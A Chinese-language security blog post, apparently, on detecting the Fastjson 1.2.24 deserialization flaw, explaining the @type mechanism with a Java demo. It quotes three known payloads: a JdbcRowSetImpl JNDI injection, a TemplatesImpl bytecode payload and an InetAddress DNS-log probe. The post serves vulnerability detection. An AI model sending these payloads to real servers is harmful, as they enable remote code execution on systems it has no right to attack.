Fastjson 反序列化漏洞自动化检测

fastjson 是 JAVA 中常用的一个用来序列化反序列化 JSON 数据的库 。因其优异的性能表现,在 java web 开放中应用比较广泛 。最近需要写一个 fastjson 的检测插件,稍微研究了一下后,感觉有一个比较不错的检测方法,在这里和大家分享下 。
在文章开始之前我想说明一点这里介绍的是检测方法而不是利用方法 。这是两个不同的目标实现这两个目标需要考虑的细节也是不同的 。在做漏洞检测时尤其是自动化检测时关注的往往有以下几点:

  • 利用入口点是什么
  • 如何确认漏洞存在
  • 如何高效检测
  • 如何无损检测
围绕着这几点我这个从未接触 java 安全的弟弟打开了 idea,开始了 fastjson 反序列化 debug 之路 。
漏洞成因我刚接触的时候,感觉很多文章都在说@type,但@type是什么,为什么需要@type大家好像都没有提及,而且既然@type这么多问题,官方为何不去掉这个用法 。带着这些疑问,我写了一个简单的 case,在 1.2.24 版本运行一下:
public class User {private String name;public User() {System.out.println("User()");}public String getName() {System.out.println("getName");return name;}public void setName(String name) {System.out.println("setName");this.name = name;}}class Testfastjson {public static void main(String[] args) {String x = "{"name": "test"}";Object xx = JSON.parseobject(x);System.out.println(xx);System.out.println();String y = "{"@type":"com.koalr.fastjson.User","name": "test"}";User yy = (User) JSON.parse(y);System.out.println(yy);System.out.println();String z = "{"name": "test"}";User zz = (User) JSON.parseObject(z, User.class);System.out.println(zz);}}结果为:
{"name":"test"}User()setNamecom.koalr.fastjson.User@18769467User()setNamecom.koalr.fastjson.User@46ee7fe8仔细观察这个这个 case,它主要说明了两点:一是如果没有指定类型,得到的是 fastjson 的内置类型 JSONObject,这个模式下没有类型信息,使用起来和 Python dict 比较像;二是如果用某种方式制定了类型,那么会调用初始化函数和相关属性的 setter 等 。这里说的某种方式可以通过 @type 在 JSON 中指定,也可以在反序列化时手动指定 class 类 。
我们来试着回答下上面的三个问题: @type 用于指定本次序列化所使用的类,方便直接操作想要的类型,例子中的后两种情况我们可以直接通过类型转换将原始的 JSONObject 转为 User,第一种却不行,因为后两种真正的类型就是 User,用过 go 的 interface{} 的同学应该比较容易理解这句话;至于为什么需要以及为什么不去掉,我猜想的是一方面帮 Java 开发者偷懒了,一方面可能也是不得不 。Java 是一门静态类型语言,在静态语言中操作动态类型是比较难受和不安全的方式,虽然可以通过手动指定class 的方式做反序列化,但这种写法不够通用,在写中间件之类的代码时,结合各种反射特性可以把东西写的很精巧,这时候就不得不用一些比较投机的方式了 。
回到话题上,现在我们可以概括一下这个漏洞的成因: 反序列化 @type 指定的类时,指定类的setter 或 getter 被调用导致的命令执行 。
检测方案上面说到漏洞触发和 setter 与 getter 有关,那么利用方式就是找那些在 setter 和 getter中有敏感方法的类 。从各位大佬们的分析文章来看,主流方式有三种(以 1.2.24 版本为例):
JNDI 注入{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/POC", "autoCommit":true}原理是 com.sun.rowset.JdbcRowSetImpl 这个类在设置 autoCommit 的 setter 时会调用 connect 方法去连接 dataSourceName 指定的 jdbc 服务 。JNDI 常用的有 RMI 和 LDAP 服务,这里我使用的 RMI 服务,因为实现比较简单,这个后面会说 。
bytesCode{"@type":"com.sun.org.Apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["base64_bytesCode"],'_name':'a.b','_tfactory':{ },"_outputProperties":{ },"_name":"a","_version":"1.0","allowedProtocols":"all"}原理是把这个类会把中的方法会实例化 _bytescodes 中指定的类,我们可以写一个自定义类并在类的初始化函数中加入利用代码 。
DNS log{"@type":"java.net.InetAddress","val":"example.com"}原理是 java.net.InetAddress 这个类在实例化时会尝试做对 example.com 做域名解析,这时候可以通过 dns log 的方式得知漏洞是否存在了 。


推荐阅读